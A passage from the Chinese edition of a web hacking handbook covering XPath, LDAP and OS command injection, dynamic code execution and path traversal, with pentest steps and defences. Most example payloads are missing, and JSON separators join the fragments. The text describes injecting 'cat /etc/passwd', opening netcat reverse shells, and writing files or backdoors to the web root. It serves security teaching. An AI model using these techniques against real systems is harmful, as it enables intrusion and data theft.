XPath（XML路径语言）是一种用于导航XML文档并从中获取数据的解释型语言。许多时候，一个XPath表达式代表由一个文档节点导航到另一个文档节点所需要的一系列步骤。 如果Web应用程序将数据保存在XML文档中，那么它们可能使用XPath访问数据，以响应用户提交的输入。如果这个输入未经任何过滤或净化就插入到XPath查询中，攻击者就可以通过控制查询来破坏应用程序的逻辑，或者获取未获授权访问的数据。 通常，XML文档并不是保存企业数据的首选工具。但是，它们常常被用于保存可根据用户输入获取的应用程序配置数据。小型应用程序也使用它们保存简单的信息，如用户证书、角色和权限。以下面的XML数据为例： 一个获取所有电子邮件地址的XPath查询如下： 一个返回Dawes的全部用户资料的查询为： 在一些应用程序中，用户提交的数据可被直接嵌入到XPath查询中，查询的结果可能在应用程序的响应中返回，或者用于决定应用程序某些方面的行为。 9.4.1 破坏应用程序逻辑 以一个根据用户名和密码获得用户保存的信用卡号码的应用程序功能为例。下面的XPath查询核实用户提交的证书，并获取相关用户的信用卡号码： 与利用SQL注入漏洞一样，这时攻击者也可以破坏应用程序的查询。例如，提交密码值 将导致下面的XPath查询，获取所有用户的信用卡信息： 注解 与SQL注入一样，注入一个数字值时不需要单引号。 与SQL查询不同，XPath查询中的关键字区分大小写，XML文档中的元素名也区分大小写。 9.4.2 谨慎XPath注入 攻击者可利用XPath注入漏洞从目标XML文档中获取任意信息。获取信息的一种可靠途径是使用和上述SQL注入时相同的技巧，促使应用程序根据攻击者指定的条件以不同的方式做出响应。 提交以下两个密码将导致应用程序的不同行为：第一种情况返回结果，但第二种情况不返回结果。 这种行为差异可用于测试任何特殊条件的真假，因此可通过它一次一个字节地提取出任意信息。与SQL一样，XPath语言也包含一个子字符串函数，可用它一次一个字符地测试一个字符串的值。例如，提交密码 将导致下面的XPath查询，如果用户Gates密码的第一个字符为M，将返回查询结果： 轮流针对每个字符位置并测试每个可能的值，攻击者就能够获得Gates的完整密码。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/cclookup/14/ 9.4.3 盲目XPath注入 在前面的攻击中，注入的测试条件指定了提取数据的绝对路径（address）以及目标字段的名称（surname和password）。实际上，即使不了解这些信息，攻击者仍有可能发动完全盲目的攻击。XPath查询可包含与XML文档中当前节点有关的步骤，因此，从当前节点可以导航到父节点或一个特定的子节点。另外，XPath包含可查询文档元信息（包括特殊元素的名称）的函数。 使用这些技巧就可以提取出文档中所有节点的名称与值，而不必提前知道与它的结构或内容有关的任何信息。 例如，可以使用前面描述的子字符串技巧，通过提交如下格式的密码，提取当前节点的父节点的名称： 这个输入能够返回结果，因为address节点的第一个字母为a。轮到第二个字母，这时可以通过提交下列密码确定该字母为d，因为最后一个输入返回了结果： 确定address节点的名称后，攻击者就可以轮流攻击它的每一个子节点，提取出它们的名称与值。通过索引指定相关子节点可不必知道任何节点的名称。例如，下面的查询将返回值Hunter： 而下面的查询返回值letmein： 这种技巧可用在完全盲目的攻击中，这时应用程序在响应中不返回任何结果，我们可以设计一个注入的条件，通过索引指定目标节点。例如，如果Gates密码的第一个字母为M，提交下面的密码将返回结果： 轮流攻击每个地址节点的每个子节点，并一次一个字符地提取出它们的值，攻击者就可以提取整个XML数据的内容。 提示 XPath中有两个有用的函数，可帮助自动完成上述攻击，迅速遍历XML文档中的所有节点和数据。 count（）。这个函数返回指定元素的子节点数量，可用于确定需要遍历的position（）值的范围。 string-length（）。这个函数返回一个已提交字符串的长度，可用于确定需要遍历的substring（）值的范围。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/cclookup/19/ 9.4.4 查找XPath注入漏洞 许多常用于探查SQL注入漏洞的攻击字符串如果被提交给一个易于受到XPath注入的函数， 往往会导致反常行为。例如，下面的两个字符会破坏XPath查询的语法，从而造成错误： 通常，与在SQL注入漏洞中一样，下面的一个或几个字符串将会引起应用程序的行为发生变化，但不会造成错误： 因此，任何时候，如果在探查SQL注入过程中发现一个漏洞的初步证据，但却无法对该漏洞加以利用，那么遇到的可能就是XPath注入漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）尝试提交下面的值，并确定它们是否会导致应用程序的行为发生改变，但不会造成错误： 如果参数为数字，尝试提交下面的测试字符串： （2）如果上面的任何字符串导致应用程序的行为发生改变，但不会造成错误，很可能可以通过设计测试条件，一次提取一个字节的信息，从而获取任意数据。使用一系列以下格式的条件确定当前节点的父节点的名称： （3）提取出父节点的名称后，使用一系列下面格式的条件提取XML树中的所有数据： 9.4.5 防止XPath注入 如果觉得必须在一个XPath查询中插入用户提交的输入，应该只提交可实施严格输入确认的简单数据。应根据一份由可接受字符组成的“白名单”检查用户输入，其中最好只包括字母数字字符。应阻止任何可能破坏XPath查询的字符，包括（ ）= ′ [ ] ：， * /和所有空白符。直接拒绝而不是净化任何与白名单不匹配的输入。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 9.5 注入LDAP LDAP（Lightweight Directory Access Protocol，轻量级目录访问协议）用于访问网络中的目录服务。目录是一个分级结构的数据存储区，其中可能包含任何类型的信息，但常用于保存个人 信息，如姓名、电话号码、电子邮件地址和工作职能等。Windows域中使用的Active Directory就是这种目录的一个典型示例。LDAP还常用在企业内联网Web应用程序中，如允许用户查看并修改雇员信息的人力资源应用程序。 每个LDAP查询使用一个或多个搜索过滤器，它们决定了请求返回的目录项。搜索过滤器可以使用各种逻辑运算符来表示复杂的搜索条件。最常用的搜索过滤器如下。 简单匹配条件 （simple match conditions）对单个属性的值进行匹配。例如，通过用户名搜索用户的应用程序函数可能使用以下过滤器： 析取查询 （disjunctive queries）指定多个条件，返回的目录项必须满足其中任何一个条件。例如，在多个目录属性中查找用户提供的搜索项的搜索函数可能使用以下过滤器： 合取查询 （conjunctive queries）指定多个条件，返回的目录项必须满足所有这些条件。例如，LDAP中实施的登录机制可能使用以下过滤器： 和其他形式的注入一样，如果用户提交的输入不经任何确认即被插入到LDAP搜索过滤器中，攻击者就可以通过提交专门设计的输入来修改过滤器的结构，以检索数据或执行未授权操作。 一般而言，与SQL注入漏洞相比，LDAP注入漏洞更难以被攻击者利用，原因如下。 搜索过滤器采用逻辑运算符来指定析取或合取查询的位置通常位于用户提交的数据的插入位置之前，因而无法被修改。因此，简单匹配条件和合取查询不会受与SQL注入类似的“or 1=1”类型的攻击。 在常用的LDAP服务中，返回的目录属性将作为搜索过滤器中的独立参数传递给LDAP API，并且通常在应用程序中进行了硬编码。因此，攻击者无法通过修改用户提交的输入来检索与查询检索的属性不同的属性。 应用程序很少返回有用的错误消息，因此，通常攻击者只能“盲目”利用各种漏洞。 9.5.1 利用LDAP注入 尽管存在上述限制，但在许多情况下，攻击者仍然可以利用LDAP注入漏洞从应用程序中获取数据，或执行未授权操作。通常，实施这类攻击的方法与搜索过滤器的结构、用户输入的进入点，以及后端LDAP服务本身的执行细节密切相关。 1．析取查询 以允许用户查看指定业务部门的雇员的应用程序为例。其搜索结果仅限于用户获得授权可以查看的地理区域。例如，如果一名用户获得授权可以查看伦敦和雷丁地区，并且他搜索的是“销售”部门，应用程序将执行以下析取查询： 这里，应用程序构建了一个析取查询，并在用户提交的输入之前前置了一些表达式来执行所需的访问控制。 在这种情况下，攻击者可以通过提交以下搜索项对查询进行修改，以返回所有地区的所有雇员的资料： * 字符是LDAP中的通配符，可匹配任何数据项。如果将这个输入嵌入LDAP搜索过滤器中，应用程序将执行以下查询： 由于这是一个析取查询并且包含通配符搜索项（department= * ），因此，它会对所有目录项进行匹配。它会返回所有地区的所有员工的资料，从而突破应用程序的访问控制。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/employees/31/ http://mdsec.net/employees/49/ 2．合取查询 这里我们以另一个类似的应用程序为例，同样，该应用程序允许用户按姓名在授权查看的地理区域内搜索雇员。 如果用户获得授权可以在伦敦进行搜索，并且它搜索姓名daf，则应用程序将执行以下查询： 这里，用户的输入被插入到合取查询中，该查询的第二部分仅通过匹配其中一个伦敦部门的数据项来执行所需的访问控制。 在这种情况下，根据后端LDAP服务的执行细节，攻击者可以成功实施两种类型的攻击。一些LDAP（包括OpenLDAP）允许批量使用多个搜索过滤器，并且选择性地应用这些过滤器。（换言之，应用程序将返回与任意过滤器匹配的目录项。）例如，攻击者可以提交以下输入： 如果将这个输入嵌入原始搜索过滤器中，将得到以下查询： 现在，这个查询中包含两个搜索过滤器，第一个过滤器包含一个通配符匹配条件。因此，应用程序将返回所有地区的所有雇员的资料，从而避开了应用程序的访问控制。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/employees/42/ 注解 这种注入第二个搜索过滤器的技巧也可针对未使用任何逻辑运算符的简单匹配条件，只是后端LDAP接受多个搜索过滤器。 第二种针对合取查询的攻击利用许多LDAP服务在处理NULL字节方面存在的漏洞。由于这些服务通常以本地代码编写，因此，搜索过滤器中的NULL字节将立即终止字符串，NULL之后的任何字符将被忽略。虽然LDAP本身并不支持注释（在SQL中可以使用--注释符添加注释），但是，攻击者可以利用它在处理NULL字节上的这个漏洞，从而“注释掉”查询的剩余部分。 在前一个示例中，攻击者可以提交以下输入： 应用程序服务器会将%00序列解码成原义NULL字节，因此，如果将以上输入嵌入到搜索过滤器中，查询将变为： 由于这个过滤器在NULL字节处被截短，在LDAP看来，其中只包含一个通配符条件，因此，应用程序还会返回伦敦地区以外的部门的所有雇员资料。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/employees/13/ http://mdsec.net/employees/42/ 9.5.2 查找LDAP注入漏洞 向一项LDAP操作提交无效的输入并不会生成任何详细的错误消息。通常，由搜索功能返回的结果和发生的错误（如一个HTTP500状态码）都有助于确定漏洞。但是，渗透测试员可以使用以下步骤相对可靠地确定LDAP注入漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）尝试仅输入 * 字符作为搜索项。在LDAP中，这个字符是一个通配符，但在SQL中不是。如果返回大量结果，这种情况明显表示攻击针对的是一个LDAP查询。 （2）尝试输入大量的闭括号： )))))))))) 这个输入将结束任何括住输入、以及那些包含主查询过滤器的括号，导致无法匹配的闭括号，因而破坏查询的语法。如果发生错误，应用程序就易于受到LDAP注入。（注意，这种输入也会破坏其他许多类型的应用程序逻辑，因此，如果已经确定所针对的是一个LDAP查询，它只能提供一个明显的指标。） （3）尝试输入各种旨在干扰不同类型的查询的表达式，并看是否可以通过这些表达式来影响返回的结果。所有LDAP均支持cn属性，如果对所查询的目录一无所知，使用该属性会大有用处。例如： 9.5.3 防止LDAP注入 如果有必要在一个LDAP查询中插入用户提交的输入，也只提交可实施严格输入确认的简单数据。应根据一份可接受字符“白名单”检查用户输入，其中最好只包括字母数字字符。应阻止任何可能破坏LDAP查询的字符，包括（ ）；， * ｜ & =和空字节。拒绝任何与白名单不匹配的输入，不要净化。 黑客攻防技术宝典：Web实战篇（第2版） 9.6 小结 我们已经分析了一系列可用于注入Web应用程序数据存储的漏洞。攻击者可以利用这些漏洞读取或修改敏感的应用程序数据、执行其他未授权操作，或破坏应用程序逻辑来达到某种目的。 更为严重的是，上述攻击只是大量相关的注入攻击的一小部分。利用这一类型的其他攻击，攻击者可以在服务器的操作系统上执行命令、检索任意文件，并破坏其他后端组件。在下一章中，我们将介绍这类攻击及其他攻击，说明攻击者如何利用Web应用程序中的漏洞攻破为应用程序提供支持的更广泛的基础架构的关键组件。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 9.7 问题 欲知问题答案，请访问http://mdsec.net/wahh。 （1）如果要通过实施UNION攻击利用SQL缺陷获取数据，但是并不知道最初的查询返回的列数，如何才能查明这个值？ （2）已经确定一个字符串参数中的SQL注入漏洞，已经确信数据库为MS-SQL或Oracle，但当前无法获得任何数据或错误消息确定到底是哪个数据库。如何才能查明这一点？ （3）已经在应用程序的许多位置提交了一个单引号，并通过得到的错误消息确定几个潜在的SQL注入漏洞。下列哪一种方法能够以最快的速度确定专门设计的输入是否会对应用程序的处理过程造成影响？ （a）注册一个新用户 （b）更新个人资料 （c）注销服务 （4）在登录功能中发现一个SQL注入漏洞，试图使用输入' or 1=1--避开登录，但攻击没有成功，生成的错误消息表明--字符串被应用程序的输入过滤删除。如何解决这个问题？ （5）已经发现一个SQL注入漏洞，但由于应用程序允许任何包含空白符的输入，无法实施任何有用的攻击。如何解除这种限制？ （6）在将其合并到SQL查询之前，应用程序并不配对用户输入中出现的所有单引号。假设已经在一个数字字段中发现一个SQL注入漏洞，但需要在一个攻击有效载荷中使用一个字符串值。不使用单引号，如何在查询中插入字符串？ （7）在极少数情况下，应用程序在用户提交的输入中使用参数化查询，以不安全的方式建立 动态SQL查询。什么时候会出现这种情况？ （8）假设已经提升了在应用程序中的权限，现在完全拥有管理员访问权限，这时如果在某个用户管理功能中发现一个SQL注入漏洞，如何利用这个漏洞进一步扩大攻击范围？ （9）在攻击一个并未保存任何敏感数据、也未实施任何验证或访问控制机制的应用程序的情况下，如何排列下列漏洞的重要性？ （a）SQL注入 （b）XPath注入 （c）OS命令注入 （10）假如正在检测一个允许搜索个人资料的应用程序功能，并且怀疑该功能正访问某数据库或Active Directory后端。如何确定到底是哪一种情况？ 黑客攻防技术宝典：Web实战篇（第2版） 第10章 测试后端组件 W eb应用程序正变得日益复杂。它们常常作为一系列后端业务关键资源，包括网络资源（如Web服务、后端Web服务器、邮件服务器）和本地资源（如文件系统）面向因特网的接口及操作系统接口。而且，应用程序服务器还作为这些后端组件的自主访问控制层。任何能够与后端组件进行任意交互的攻击都将能够突破Web应用程序实施的整个访问控制模型，从而以未授权方式访问敏感数据和功能。 数据在不同组件间传递时，它们将由不同类型的API和接口解释。被核心应用程序视为“安全”的数据，在支持不同编码、转义字符、字段分隔符或字符串终止符的上层组件看来可能极不安全。此外，上层组件可能会有相对多的功能是应用程序在正常情况下所不会调用的。因此，利用注入漏洞的攻击者通常不仅能够突破应用程序的访问控制，甚至能够利用后端组件支持的其他功能来攻破组件基础架构的关键部分。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 10.1 注入操作系统命令 大多数Web服务器平台发展迅速，现在它们已能够使用内置的API与服务器的操作系统进行几乎任何必需的交互。如果正确使用，这些API可帮助开发者访问文件系统、连接其他进程、进行安全的网络通信。但是，许多时候，开发者选择使用更高级的技术直接向服务器发送操作系统命令。由于这些技术功能强大、操作简单，并且通常能够立即解决特定的问题，因而具有很强的吸引力。但是，如果应用程序向操作系统命令传送用户提交的输入，那么就很可能会受到命令注入攻击，由此攻击者能够提交专门设计的输入，修改开发者想要执行的命令。 常用于发出操作系统命令的函数，如PHP中的exec和ASP中的wscript.shell函数，通常并不限制命令的可执行范围。即使开发者准备使用API执行相对善意的任务，如列出目录的内容，攻击者还是可以对其进行暗中破坏，从而写入任意文件或启动其他程序。通常，所有的注入命令都可在Web服务器的进程中安全运行，它具有足够强大的功能，使得攻击者能够完全控制整个服务器。 许多非定制和定制Web应用程序中都存在这种命令注入缺陷。在为企业服务器或防火墙、打印机和路由器之类的设备提供管理界面的应用程序中，这类缺陷尤其普遍。通常，因为操作系统交互允许开发者使用合并用户提交的数据的直接命令，所以这些应用程序都对交互过程提出了特 殊的要求。 10.1.1 例1：通过Perl注入 以下面的Perl CGI代码为例，它是一个用于服务器管理的Web应用程序代码的一部分。这项功能允许管理员在服务器上指定一个目录，并查看它的磁盘使用情况： 如果按设想的方式运行，这段脚本将把用户提交的dir参数值附加在预先设定的命令后面，执行命令并显示结果，如图10-1所示。 图10-1 一个列出目录内容的简单应用程序功能 然而，通过提交专门设计的、包含shell元字符的输入，攻击者可对这项功能进行各种方式的利用。对处理命令的解释器而言，这些字符有着特殊的含义，并可破坏开发者想要执行的命令。例如，管道符“|”可用于将一个进程的输出重定向为另一个进程的输入，从而将几个命令连接在一起。攻击者可以利用这种行为注入另外一个命令并获得输出结果，如图10-2所示。 图10-2 一个成功的命令注入攻击 在这个攻击中，最初的du命令的输出已被重定向为cat/etc/passwd命令的输入。不过，这个命令不会理睬上述输入，而是执行自己的任务：输出passwd文件的内容。 这样简单的攻击似乎是不可能的；但是，实际上在众多商业产品中都已发现这类命令注入漏洞。例如，已发现下面URL中的HP Openview存在一个易受攻击的命令注入缺陷： 10.1.2 例2：通过ASP注入 以下面的C#代码为例，它是一个用于管理Web服务器的Web应用程序代码的一部分。该功能允许管理员查看被请求的目录的内容： 如果按设想的方式运行，这段脚本将把用户提交的Directory参数值插入到预先设定的命令中，执行命令并显示结果，如图10-3所示。 图10-3 一个列出目录内容的功能 和前面易受攻击的Perl脚本一样，攻击者可以使用shell元字符破坏开发者预先设定的命令，并注入他自己的命令。&字符用于将几个命令组合在一起。提交一个包含&字符的文件名和另外一个命令就可以执行该命令并显示其结果，如图10-4所示。 图10-4 一个成功的命令注入攻击"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/admin/5/ http://mdsec.net/admin/9/ http://mdsec.net/admin/14/ 10.1.3 通过动态执行注入 许多Web脚本语言支持动态执行在运行时生成的代码。这种特性允许开发者创建可根据各种数据和条件动态修改其代码的应用程序。如果用户输入合并到可动态执行的代码中，那么攻击者就可以提交专门设计的输入，破坏原有的数据，指定服务器执行自己的命令，就好像这些命令是由最初的开发者编写的一样。这时，攻击者的第一个目标通常是注入运行操作系统命令的API。 PHP函数eval可用于动态执行在运行时传送给该函数的代码。下面以一个搜索功能为例，该功能允许用户创建保存的搜索，然后在用户界面上以链接的形式动态生成这些搜索。用户使用下面的URL访问该搜索功能： 服务器端应用程序通过动态生成变量来执行这项功能，生成的变量包含在storedsearch参数中指定的名/值对；此处，它创建值为wahh的变量mysearch。 这时，就可以提交专门设计的输入，由eval函数动态执行，从而在服务器端应用程序中注入任意PHP命令。分号字符可用于在单独一个参数中将几个命令连接在一起。例如，要检索文件/etc/password的内容，可以使用file_get_contents或system命令： 注解 Perl语言也包含一个可通过同样的方式加以利用的eval函数。注意，可能需要对分号字符进行URL编码（为%3b），因为一些CGI脚本解析器将它解释为参数分隔符。在传统的ASP中，Execute（）执行类似的任务。 10.1.4 查找OS命令注入漏洞 在应用程序解析过程中（请参阅第4章了解有关内容），通过调用外部进程或访问文件系统，应该能确定任何Web应用程序与基础操作系统交互的情形。攻击者开始攻击前要探查所有这些功能，寻找命令注入漏洞。然而，实际上，应用程序发出的操作系统命令中可能包含用户提交的任 何数据项，包括每个URL、请求主体参数及cookie。因此，为对应用程序进行全面彻底的测试，必须检查每项应用程序功能中的所有这些数据项。 不同的命令解释器处理shell元字符的方式各不相同。理论上，任何类型的应用程序开发平台或Web服务器可能会调用任何shell解释器，在它自己或任何其他主机的操作系统上运行。因此，不应根据对Web服务器操作系统的了解，对应用程序如何处理元字符做出任何假设。 有两种类型的元字符可用于在一个现有的预先设定的命令中注入一个独立的命令。 字符；|&和换行符可用于将几个命令逐个连接在一起。有些时候，可以成对使用这些字符以达到不同的效果。例如，在Windows命令解释器中，使用&&则第二个命令只有在第一个命令成功执行后才会运行。使用||则总运行第二个命令，无论第一个命令是否成功执行。 和本章开头的示例一样，反引号（`）用于将一个独立的命令包含在最初的命令处理的数据中。把一个注入的命令放在反引号内shell解释器就会执行该命令，并用这个命令的结果代替被包含的文本，然后继续执行得到的命令字符串。 在前面的示例中，可以直接确定是否可以注入命令，并获得注入命令的执行结果，因为应用程序会在响应中立即返回那些结果。然而，在许多情况下，这样做是不可能的。可以注入一个命令，但它不会返回结果，也不会以任何可确定的方式影响应用程序随后的处理过程。或者由于几个命令连接在一起，注入命令的执行结果在执行过程中丢失了。 通常，检测命令注入是否可行的最可靠方法是使用时间延迟推断，类似于前面描述的利用盲目SQL注入时使用的方法。如果一个潜在的漏洞可能存在，那么就可以使用其他方法确定这个漏洞，并获得注入命令的执行结果。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）通常可以使用ping命令让服务器在一段时期内检测它的回环接口（loopback interface），从而触发时间延迟。Windows和UNIX平台在处理命令分隔符与ping命令方面存在一些细微的差别，但是，如果没有设置过滤，下面的通用测试字符串应该能够在两个平台上引起30秒的时间延迟。 如果应用程序过滤掉某些命令分隔符，为加大检测到命令注入漏洞的可能性，还应该轮流向每一个目标参数提交下面的每个测试字符串，并监控应用程序进行响应的时间。 （2）如果发生时间延迟，说明应用程序可能易于受到命令注入攻击。重复几次测试过程，确定延迟不是由于网络延时或其他异常造成的。可以尝试更改–n或–i参数的值，并确定经历 的时间延迟是否会随着提交的值发生对应的变化。 （3）使用所发现的任何一个可成功实施攻击的注入字符串，尝试注入另一个更有用的命令（如ls或dir），确定是否能够将命令结果返回到浏览器上。 （4）如果不能直接获得命令执行结果，还可以采用其他方法。 可以尝试打开一条通向自己计算机的带外通道。尝试使用TFTP上传工具至服务器，使用telnet或netcat建立一个通向自己计算机的反向shell，并使用mail命令通过SMTP发送命令结果。 可以将命令结果重定向到Web根目录下的一个文件，然后使用浏览器直接获取结果。例如： （5）一旦找到注入命令的方法并能够获得命令执行结果，就应当确定自己的权限（通过使用whoami或类似命令，或者尝试向一个受保护的目录写入一个无害的文件）。然后就可以设法提升自己的权限，进而秘密访问应用程序中的敏感数据，或者通过被攻破的服务器攻击其他主机。 有时，由于某些字符被过滤掉，或者应用程序所使用的命令API的特殊行为，可能无法注入一个完全独立的命令。但是，攻击者仍然可以破坏所执行的命令的行为，得到想要的结果。 笔者曾遇到这样的情况：应用程序向操作系统命令nslookup传递用户输入，以查找用户提交的域名的IP地址。注入新命令所需的元字符被阻止，但允许使用<和>字符重定向命令的输入和输出。nslookup命令通常输入某个域名的IP地址，这似乎并未提供任何有效的攻击向量。但是，如果在这时提交一个无效域名，该命令就会输出错误消息，并在其中包含所查询的域名。通常，这种行为足以导致严重的攻击。 提供一个服务器可执行的脚本代码片段，以替代要解析的域名。可以将这段脚本放在引号中，以确保命令解释器将其视为一个令牌。 使用>字符将命令的输出重定向到Web根目录下的可执行文件夹中的某个文件。由操作系统执行的命令如下所示： 运行以上命令时，会将以下输出重定向到可执行文件： 然后，使用浏览器调用该文件，注入的脚本代码将在服务器上执行。由于大多数脚本语言允许页面同时包含客户端内容和服务器端标记，攻击者无法控制的错误消息部分将被视为明文，并且会执行注入脚本中的标记。因此，攻击者就可以通过利用受限制的命令注入条件，在应用程序服务器中插入一个不受限制的后门。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/admin/18/ 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）<和>字符分别用于将一个文件的内容指向命令的输入以及将命令的输出指向一个文件。如果不可能使用前面的技巧注入一个完全独立的命令，仍然可以使用<和>字符读取及写入任意文件的内容。 （2）应用程序调用的许多操作系统命令接受大量控制其行为的命令行参数。通常，用户提交的输入以这种参数的形式传送给命令处理，只需在相关参数后插入一个空格，就可以在空格后添加另外一个参数。例如，一个Web创作应用程序可能拥有一项功能，允许服务器获得一个用户指定的URL，然后将它的内容呈现在浏览器上进行编辑。如果应用程序调用wget程序，那么就可以通过附加wget使用的–O命令行参数，在服务器的文件系统中写入任何文件的内容。例如： 提示 许多命令注入攻击要求注入空格以分隔命令行自变量。如果攻击者发现应用程序过滤空格，并且攻击的是UNIX平台，那么他可以使用包含空白符字段分隔符的$IFS环境变量代替空格。 10.1.5 查找动态执行漏洞 动态执行漏洞最常见于PHP和Perl等语言。但基本上，任何应用程序平台都可能会向基于脚本的解释器（有时位于其他后端服务器上）传送用户提交的输入。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）用户提交的所有数据项都可提交给动态执行函数。其中最常见的数据项是cookie参数名称和参数值，以及作为前一项操作结果保存在用户资料中的永久数据。 （2）尝试轮流向目标参数提交下列值： （3）监控应用程序的响应。如果字符串111111被单独返回（即它前面没有其他命令字符串），就表示应用程序可能易于受到脚本命令注入。 （4）如果字符串111111并未返回，寻找任何表示输入被动态执行的错误消息；另外，可能需要对语法进行调整，以实现注入任意命令的目的。 （5）如果攻击的应用程序使用PHP，可以使用测试字符串phpinfo（）。如果它成功执行，应用程序将返回PHP环境的配置信息。 （6）如果应用程序可能易于受到攻击，与前面描述的查找OS命令注入漏洞时一样，注入一些造成时间延迟的命令确认这一点。例如： 10.1.6 防止OS命令注入 通常来说，防止OS命令注入漏洞的最佳方法是完全避免直接调用操作系统命令。几乎Web应用程序所需要执行的每个任务都可以使用内置API完成，而且攻击者无法控制这些API，使其执行其他预料之外的命令。 如果无法避免要在传送给操作系统命令解释器的命令字符串中插入用户提交的数据，应用程序应实施严格的防御来防止漏洞发生。如果可能，应使用一份“白名单”限制用户只输入一组特殊的值。或者，应将输入范围限制为少数字符，例如，仅字母数字字符。应拒绝包含任何其他数据（包括任何元字符或空白符）的输入。 应用程序应使用命令API通过它的名称和命令行参数启动特殊的进程，而不是向支持命令链接与重定向的shell解释器传送命令字符串，从而实施另一层保护。例如，Java API Runtime.exec和ASP.NET API Process.Start并不支持shell元字符，如果使用得当，它们能够确保仅执行开发者想要执行的命令。请参阅第19章了解与命令执行API有关的详情。 10.1.7 防止脚本注入漏洞 通常而言，防止脚本注入漏洞的最佳方法是，避免将用户提交的输入或者来自用户的数据传送给任何动态执行或包含函数。如果由于某种原因必须传送用户提交的输入，那么应对相关输入进行严格的确认检查以阻止任何攻击。如有可能，使用一份由已知可靠的值组成的“白名单”，并拒绝任何没有出现在这个名单上的输入。如果无法做到这一点，应根据一组已知无害的字符[如字母数字字符（空白符除外）]检查在输入中使用的字符。 黑客攻防技术宝典：Web实战篇（第2版） 10.2 操作文件路径 Web应用程序中的许多功能通常都需要处理用户以文件或目录名提交的输入。一般情况下，这些输入会传递给接受文件路径的API（例如，用于检索本地文件系统中的文件）。应用程序将在它对用户请求的响应中处理该API调用的结果。如果用户提交的输入未经过正确确认，这种行为就可能导致各种安全漏洞，其中最常见的是文件路径遍历漏洞和文件包含漏洞。 10.2.1 路径遍历漏洞 如果应用程序使用用户可控制的数据、以危险的方式访问位于应用程序服务器或其他后端文件系统中的文件和目录，就会出现路径遍历漏洞。通过提交专门设计的输入，攻击者就可以在被访问的文件系统中读取或者写入任意内容。这种漏洞往往使攻击者能够从服务器上读取敏感信息或者重写敏感文件，并最终在服务器上执行任何命令。 在下面的示例中，应用程序使用一个动态页面向客户端返回静态图像。被请求图像的名称在查询字符串参数中指定： 当服务器处理这个请求时，它执行以下操作。 （1）从查询字符串中提取filename参数值。 （2）将这个值附加在C:\\filestore\\之后。 （3）用这个名称打开文件。 （4）读取文件的内容并将其返回给客户端。 漏洞之所以会发生，是因为攻击者可以将路径遍历序列（path traversal sequence）放入文件名内，从第（2）步指定的图像目录向上回溯，从而访问服务器上的任何文件。众所周知，路径遍历序列表示为“点—点—斜线”（..\\），一个典型的攻击如下： 如果应用程序把filename参数的值附加到图像目录名称之后，就得到以下路径： 这两个遍历序列立即从图像目录回溯到C：驱动器根目录下，因此前面的路径等同于以下路径： 因此，服务器不会返回图像文件，而是返回默认的Windows配置文件。 注解 在旧版Windows IIS Web服务器中，默认情况下，应用程序将在本地系统权限下运行，因而能够访问本地文件系统上的任何可读文件。在较新的版本中，和许多其他Web服务器一样，服务器进程默认以权限较低的用户账户运行。因此，在探查路径遍历漏洞时，最好是请求一个可由任何类型的用户读取的默认文件，如c:\\windows\\win.ini。 在这个简单的示例中，应用程序并未实施防御，阻止路径遍历攻击。然而，由于这些攻击早已广为人知，应用程序通常会针对它们实施各种防御，大多数情况下是采取输入确认过滤。在后文中会讲到，这些过滤往往并不可靠，可被技术熟练的攻击者轻易避开。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/filestore/8/ 1．查找和利用路径遍历漏洞 许多功能都要求Web应用程序根据用户在请求中提交的参数向文件系统读取或写入数据。如果以不安全的方式执行这些操作，攻击者就可以提交专门设计的输入，使应用程序访问开发者并不希望它访问的文件。这类漏洞称为路径遍历（path traversal）漏洞，攻击者可利用这种漏洞读取密码和应用程序日志之类的敏感数据，或者重写安全性至关重要的数据项，如配置文件和软件代码。在最为严重的情况下，这种漏洞可使攻击者能够完全攻破应用程序与基础操作系统。 有时，路径遍历漏洞很难发现，并且许多Web应用程序对它们实施的防御也十分脆弱。下面我们将介绍攻击者在确定潜在的目标、探查易受攻击的行为、避开应用程序防御以及处理定制编码的过程中所采用的各种技巧。 确定攻击目标 在对应用程序进行初步解析的过程中，应该已经确定了所有与路径遍历漏洞有关的明显受攻击面。主要用于文件上传或下载目的的所有功能都应进行全面测试。用户可共享文档的工作流程应用程序，允许用户上传图像的博客与拍卖应用程序，以及为用户提供电子书、技术手册和公司报表等文档的信息型应用程序，常常使用这种功能。 除这种明显的目标功能外，还有其他各种行为表示应用程序需要与文件系统进行交互。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）分析在应用程序解析过程中收集到的信息，确定以下内容。 请求参数中明显包含文件或目录名称的所有情形。例如，include=main.inc或template= /en/sidebar。 需要从服务器文件系统（相对于后端数据库）读取数据的所有应用程序功能。例如，显示办公文档或图像。 （2）在测试其他漏洞的过程中，寻找有益的错误消息或其他反常事件。设法确定用户提交的数据被传送给文件API或作为操作系统命令参数的所有情况。 提示 如果攻击者已经从本地访问应用程序［通过了白盒测试（white-box testing），或者因为已经攻破了服务器的操作系统］，那么往往能够直接确定路径遍历目标，因为他可以监控应用程序与文件系统之间的全部交互。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 如果能够从本地访问应用程序，执行以下操作。 （1）使用适当的工具监控服务器上的所有文件系统活动。例如，可以在Windows平台上使用SysInternals开发的FileMon工具，在Linux平台上使用ltrace/strace工具，在Sun Solaris平台上使用truss命令。 